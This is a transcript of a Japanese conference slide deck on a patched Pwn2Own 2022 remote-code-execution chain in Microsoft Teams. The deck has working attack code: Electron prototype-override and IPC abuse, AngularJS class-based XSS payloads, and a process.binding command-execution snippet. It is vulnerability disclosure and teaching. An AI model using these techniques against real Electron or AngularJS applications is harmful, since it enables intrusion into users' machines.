Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Pwn2OwnでMicrosoft Teamsをハッキングして2000万円を獲得した方法/ Shibuya.XSS techtalk #12

Pwn2OwnでMicrosoft Teamsをハッキングして2000万円を獲得した方法/ Shibuya.XSS techtalk #12

Shibuya.XSS techtalk #12 の発表資料です。
English version is here: https://speakerdeck.com/masatokinugawa/pwn2own2022

Masato Kinugawa

July 31, 2023
Tweet

More Decks by Masato Kinugawa

Other Decks in Technology

Transcript

  1. ターゲットの例(Pwn2Own Vancouver 2022の場合) • ブラウザ(Chrome, Edge, Firefox, Safari) • デスクトップアプリ(Teams,

    Zoom, Adobe Reader, Office 365) • 自動車(Tesla) • VM(Virtual Box, VMware, Hyper-V) • サーバー(Microsoft Exchange, SharePoint, Windows RDP, Samba) • OS(Windows/Ubuntuの権限昇格の脆弱性) Pwn2Own Vancouver 2022 Rules (Web Archive): https://web.archive.org/web/20220516223600/https://www.zerodayiniti ative.com/Pwn2OwnVancouver2022Rules.html
  2. こんな風に動く const {BrowserWindow,app} = require('electron'); app.on('ready', function() { let win

    = new BrowserWindow(); //Open Renderer Process win.loadURL(`file://${__dirname}/index.html`); }); <html> <body> <h1>Hello Electron!</h1> </body> </html> メインプロセス (ブラウザ本体のイメージ) レンダラプロセス (ブラウザのタブのイメージ) main.js: index.html: • 2種類のプロセスが存在 • ブラウザ部分はChromium
  3. 最初に注目するところ const {BrowserWindow,app} = require('electron'); app.on('ready', function() { let win

    = new BrowserWindow(); //Open Renderer Process win.loadURL(`file://${__dirname}/index.html`); }); <html> <body> <h1>Hello Electron!</h1> </body> </html> メインプロセス (ブラウザ本体のイメージ) レンダラプロセス (ブラウザのタブのイメージ) main.js: まずはここに注目する index.html:
  4. contextIsolation • Webページ側とNode APIを使う部分の間のJSのコンテキスト を分離するかどうか • Node APIを使う部分: • Electron内部のコード

    • Preloadスクリプト(開発者がレンダラ上で一部Node APIを使いたい ときに使うもの。nodeIntegrationが無効でも使える。) これがないとどうなる?➡ 今回は無効
  5. contextIsolationがないと… • 任意のJSを実行可能時、プロトタイプの書き換えなどによって nodeIntegrationが無効でもNode APIにアクセスされ得る //Web page Function.prototype.call = function(arg)

    { arg.someDangerousNodeJSFunction(); } // Preload script or Electron internal code function someFunc(handler) { handler.call(objectContainingNodeJSFeature); }
  6. contextIsolationがないと… • 任意のJSを実行可能時、プロトタイプの書き換えなどによって nodeIntegrationが無効でもNode APIにアクセスされ得る //Web page Function.prototype.call = function(arg)

    { arg.someDangerousNodeJSFunction(); } // Preload script or Electron internal code function someFunc(handler) { handler.call(objectContainingNodeJSFeature);//called }
  7. contextIsolation:true なら • プロトタイプの書き換えはNode APIが利用できる部分に影響せ ず、このトリックでRCEされることは無くなる //Web page Function.prototype.call =

    function(arg) { arg.someDangerousNodeJSFunction(); } // Preload script or Electron internal code function someFunc(handler) { handler.call(objectContainingNodeJSFeature);//called } Built-inの Function.prototype.callが呼ばれる
  8. sandbox • Chromiumのサンドボックスを使うかどうか • falseは Chromeを--no-sandbox フラグ付きで実行した状態と同じ • falseにするとメモリ破壊などのバグでRCEが容易に •

    有効時はさらに、preloadスクリプトなどのNode APIが利用でき るコンテキストで一部APIが使えなくなる • プログラム・OSコマンドを実行できるもの(例: shell.openExternal) • クリップボードにいきなりアクセスするもの(clipboard モジュール) • ローカルファイルにアクセスできるもの 今回は有効
  9. オプションから言えること new BrowserWindow({ webPreferences: { nodeIntegration: false, contextIsolation: false, sandbox:

    true } }); ➡任意のJS実行可能時、 sandboxによりRCEに直接繋がるような Node APIへのアクセスは制限されるが、contextIsolationの欠如によ りそれ以外のNode APIへのアクセスは得られるかもしれない状態
  10. Node APIへのアクセスを試みる • 様々なBuilt-inメソッドのプロトタイプを上書して悪用可能な Node APIへの参照がとれないか試していると… • 上書きしたFunction.prototype.callからipcRendererモジュー ルへの参照がやって来た <script>

    Function.prototype._call = Function.prototype.call; Function.prototype.call = function(...args) { if (args[3] && args[3].name === "__webpack_require__") { ipc = args[3]('./lib/sandboxed_renderer/api/exports/electron.ts').ipcRenderer; } return this._call(...args); } </script>
  11. ipcRendererモジュール const { ipcMain } = require('electron'); [...] ipcMain.handle('test', (evt,

    msg) => { console.log(msg);//hello return 'hey'; }); <h1>Hello Electron!</h1> メインプロセス main.js: index.html: レンダラからメインプロセスとIPC通信する時に使う const { ipcRenderer } = require('electron'); ipcRenderer.invoke('test','hello'); .then(msg=>{ console.log(msg);//hey }); preload.js: ➡メインプロセスは完全なNode APIへのアクセスがあるので メッセージの処理が迂闊な部分があればRCEが起きるかも レンダラプロセス
  12. ここまでを踏まえ 1 任意のJSを実行する方法を探す • XSS • 任意のサイトへのリダイレクト 2 RCEに繋がる部分を探す •

    1で奪ったipcRendererモジュールへの参照からIPCを通じてRCEに繋がる箇 所がないか • sandbox:true でもRCEに直接繋がるAPIが公開されてないか(Electronの0- dayを見つける) contextIsolationが無く、ipcRendererの参照が取れることが分かった ここからRCEするには:
  13. 任意のJSを実行するアイデア • XSS • 任意のサイトへのリダイレクト • この手のRCEをするとき実行されるオリジンは通常重要でない • JSさえ実行できればNode APIを使う部分に干渉できるため

    • なお、Pwn2Ownのルール上、ユーザー操作なしにRCEを達成す る必要がある • アプリやメッセージを開いただけで発火など 有望そうな チャットメッセージを見ていくことにする➡
  14. classのサニタイズ • クライアント側のJavaScriptでclass名の許可リストらしき文字列 を発見 e.htmlClasses = "swift-*,ts-image*, emojione,emoticon-*,animated-emoticon-*, copy-paste-table,hljs*,language-*,zoetrope, me-email-*,quoted-reply-color-*"

    • これらのclass付きのHTMLを投稿するとサーバ/クライアント側の サニタイズを通過できた • アスタリスクはワイルドカードとして作用する様子
  15. XSSer ♥ AngularJS • AngularJSはXSSerにとって都合の良いライブラリ • HTMLタグを使わずテンプレート記法( {{}} )でXSSできたり •

    unsafe-eval不要のCSPバイパスも導入しうる <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.8.0/angular.js"></script> <div ng-app> {{constructor.constructor('alert(1)')()}} </div> <meta http-equiv=Content-Security-Policy content="script-src ajax.googleapis.com"> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.8.0/angular.js"></script> <div ng-app> <img src=x ng-on-error=$event.target.ownerDocument.defaultView.alert(1)> </div>
  16. ngInitディレクティブ (1/2) • テンプレートが実行される前の初期化に使われる • 以下でHello World!が出力される <html ng-app> <script

    src="//ajax.googleapis.com/ajax/libs/angularjs/1.8.0/angular.js"></script> <strong ng-init="greeting='Hello'; person='World'"> {{greeting}} {{person}}! </strong> </html> <strong ng-init="constructor.constructor('alert(1)')()"></strong> この属性値はAngularJS式と評価されるので以下で任意JSが動く: ng-init属性はもちろんサニタイズされるが…➡
  17. ngInitディレクティブ (2/2) • ngInitはclassからも使える • 次の2つは等価: <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.8.0/angular.js"></script> <div ng-app>

    <strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong> </div> <ANY ng-init="expression"> ... </ANY> <ANY class="ng-init: expression;"> ... </ANY> 公式のドキュメント:https://docs.angularjs.org/api/ng/directive/ngInit 以下もAngularJS式と評価される: classからJSが動いた! ※ ng-classやng-styleなどでも動く。
  18. classディレクティブの取り出し方 <strong class="ng-init:expression">aaa</strong> <strong class="aaa;ng-init:expression">aaa</strong> <strong class="aaa!ng-init:expression">aaa</strong> <strong class="aaa♩♬♪ng-init:expression">aaa</strong> CLASS_DIRECTIVE_REGEXP

    = /(([\w-]+)(?::([^;]+))?;?)/, 正規表現で取り出していた: 以下は全てngInitディレクティブとして動く: https://github.com/angular/angular.js/blob/47bf11ee94664367a26ed8c91b9b586d3dd420f5/src/ng/compile.js#L1384 classに swift-* が許される動作と組み合わせると…➡
  19. PluginHost • PluginHostと名付けられたinvisibleなレンダラが存在 • ここに読み込まれたslimcoreと呼ばれるNodeモジュールをメ インウィンドウ側からIPC経由で操作している様子 • ここは sandbox: false

    • slimcoreの実行にsandboxが障害になるから? "C:\Users\USER\AppData\Local\Microsoft\Teams\current\Teams.ex e" --type=renderer [...] --app- path="C:\Users\USER\AppData\Local\Microsoft\Teams\current\res ources\app.asar" --no-sandbox [...] /prefetch:1 --msteams- process-type=pluginHost
  20. IPCリスナーの役割 • ELECTRON_REMOTE_SERVER_REQUIRE • require()をメッセージで指定された値を引数にして呼び出す • ただしバリデーションが存在し"slimcore"など一部のモジュールのみロード可 • ELECTRON_REMOTE_SERVER_MEMBER_GET •

    メッセージで指定された値にプロパティアクセスを行う • ELECTRON_REMOTE_SERVER_FUNCTION_CALL • メッセージで指定された値を引数にして関数呼び出しを行う • (SETやその他の操作のリスナーもある)
  21. MEMBER_GETのプロパティアクセスに注目する ELECTRON_REMOTE_SERVER_MEMBER_GETの中身: P(c.remoteServerMemberGet, (e,t,n,o)=>{ const i = s.objectsRegistry.get(n); if (null

    == i) throw new Error(`Cannot get property '${o}' on missing remote object ${n}`); return A(e, t, ()=>i[o]) } ) i がアクセス対象、oがアクセスするプロパティ。 アクセスはhasOwnProperty()などの一切の チェックなしに行われている、これが意味するのは…➡
  22. プロトタイプへのアクセスが許される require('slimcore').toString.constructor('js-code')(); 1. REQUIRE 4. FUNCTION_CALL 2. MEMBER_GET 3. MEMBER_GET

    5. FUNCTION_CALL これによりconstructorからFunction()にアクセスし 任意のJSを実行できた:
  23. process.binding • Node.js内部で使われるrequireのようなもの • sandbox: false のときしか使えない • child_process中ではbinding('spawn_sync')が使われていて、この時の 呼び出しを真似ればコマンド実行が可能:

    a = { "type": "pipe", "readable": 1, "writable": 1 }; b = { "file": "cmd", "args": ["/k", "start", "calc"], "stdio": [a, a] }; process.binding("spawn_sync").spawn(b); これは@CapacitorSet & @denysvitaliさんによるMath.jsのRCEから学んだ:https://jwlss.pw/mathjs/
  24. requireが動かない理由 Function()はグローバルスコープで実行される関数を作成するため 1: function (exports, require, module, __filename, __dirname) {

    console.log(`1: ${arguments.callee.toString()}`); console.log(`2: ${eval('typeof require')}`); console.log(`3: ${constructor.constructor('typeof require')()}`); } 2: function 3: undefined console.log(`1: ${arguments.callee.toString()}`); console.log(`2: ${eval('typeof require')}`); console.log(`3: ${constructor.constructor('typeof require')()}`); ➡ preloadスクリプトとしてロードすると 関数のスコープにある
  25. 別のコマンド実行の方法 • Pwn2Own参加者の@adm1nkyj1 & @jinmo123さんもIPCを通じたコマンド実行 の方法を発見していた模様 • ただしコマンド実行の方法が異なり、preloadスクリプト内で使用されるevalを利用して require('child_process')していた 詳細:

    https://blog.pksecurity.io/2023/01/16/2022-microsoft-teams-rce.html#2- pluginhost-allows-dangerous-rpc-calls-from-any-webview function loadSlimCore(slimcoreLibPath) { let slimcore; if (utility.isWebpackRuntime()) { const slimcoreLibPathWebpack = slimcoreLibPath.replace(/\\/g, "\\\\"); slimcore = eval(`require('${slimcoreLibPathWebpack}')`); [...] } [...] } String.prototype.replaceを書き換え てこの戻り値を好きに変更 任意の文字列がevalに渡る (direct eval callのため関数のスコープで実行、この場合requireへのアクセスがある )
  26. 再現手順 1. 攻撃者は次のJSを含むページを用意する <script> Function.prototype._call = Function.prototype.call; Function.prototype.call = function(...args)

    { if (args[3] && args[3].name === "__webpack_require__") { ipc = args[3]('./lib/sandboxed_renderer/api/exports/electron.ts').ipcRenderer; } return this._call(...args); } </script> 次のページにIPCを送信するコードが続く... <script> ... ipcRendererモジュールへの参照を取得するコード:
  27. 全て修正された • contextIsolation: 有効になった • XSS: アスタリスクの部分で使える文字列が厳密になった • PluginHost: contextIsolationを無効にして、CSPを適用する

    ことでpreloadスクリプトでevalできないようにしたっぽい? • 特定のElectronバージョンではcontextIsolation無効だとpreloadスク リプトにもCSPが効くようだ • 最新のElectron(v25+)で試したらそもそもpreloadスクリプト中で evalが禁止されていた • "Uncaught EvalError: Code generation from strings disallowed for this context"